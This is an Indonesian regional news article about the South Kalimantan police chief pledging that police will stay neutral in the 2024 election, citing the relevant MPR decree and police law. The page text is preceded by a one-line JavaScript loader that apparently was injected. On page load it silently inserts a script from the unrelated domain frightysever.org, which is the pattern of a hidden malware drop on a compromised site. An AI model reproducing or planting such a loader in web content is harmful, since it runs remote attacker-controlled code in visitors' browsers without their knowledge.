(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Kepolisian Daerah Kalimantan Selatan komitmen netralitas penuh anggota Polri dalam Pemilihan Umum (Pemilu) 2024.
Kapolda Kalsel Irjen Pol Andi Rian menegaskan bahwa tugas utama Polri adalah untuk mengamankan dan memfasilitasi jalannya Pemilu secara adil, transparan, dan bebas dari campur tangan pihak manapun.
“Kami sebagai penegak hukum memiliki kewajiban untuk memastikan bahwa proses demokrasi berjalan lancar tanpa ada intervensi yang dapat mengganggu integritas Pemilu,” ujarnya.
Baca juga: Anak Habisi Nyawa Ibu Sendiri di Kobar, Hanya Karena Omelan
Jendral bintang dua ini menambahkan, seluruh jajaran Polri di Kalsel telah diberikan instruksi yang jelas untuk menjaga netralitas dalam menghadapi Pemilu 2024.
Irjen Pol Andi Rian meminta kepada seluruh anggotanya untuk tidak terlibat dalam kegiatan yang dapat merugikan integritas Pemilu atau mendukung partai politik manapun.
Menurutnya, terdapat sanksi yang tegas bagi personel Polri apabila terbukti tidak netral dalam setiap tahapan Pemilu dan Pilkada Serentak tahun 2024.
Baca juga: Temuan Mayat Lelaki Tertelungkup di Astambul
“Saya ingin menekankan bahwa Polri adalah penegak hukum yang bertugas untuk melindungi keamanan dan kepentingan masyarakat secara adil dan tanpa pandang bulu. Kami siap bekerja sama dengan semua pihak terkait demi menjamin jalannya Pemilu yang berkualitas dan berintegritas,” ucap Andi Rian.
Ia mengajak masyarakat untuk ikut berperan aktif dalam mengawasi dan mendukung proses Pemilu. Kapolda menekankan pentingnya partisipasi aktif masyarakat dalam menjaga keamanan dan ketertiban selama proses Pemilu berlangsung.
Dengan netralitas Polri dalam Pemilu akan menjadi pijakan kokoh dalam menjaga integritas dan keamanan selama proses demokrasi berlangsung di seluruh wilayah Kalsel.
Baca juga: Bendera Indonesia-Palestina Warnai Jalan Alalak Tengah
Masih kata Andi Rian, netralitas Polri merupakan perintah konstitusi seperti yang dijelaskan dalam Tap MPR RI Nomor VII/MPR/2000 tentang peran TNI Polri. Khususnya pasal 10 tentang keikutsertaan Polri dalam penyelenggaraan negara.
Dalam pasal tersebut dijelaskan bahwa Polri bersikap netral dalam kehidupan politik dan tidak melibatkan diri pada kegiatan politik praktis (ayat 1), serta tidak menggunakan hal memilih dan dipilih (ayat 2).
“Undang-undang Nomor 2 Tahun 2002 tentang Polri juga menegaskan hal tersebut dalam pasal 28 ayat 1 dan 2. Bahwa Polri bersikap netral dalam kehidupan politik dan tidak menggunakan memilih dan dipilih,” pungkasnya. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More
This website uses cookies.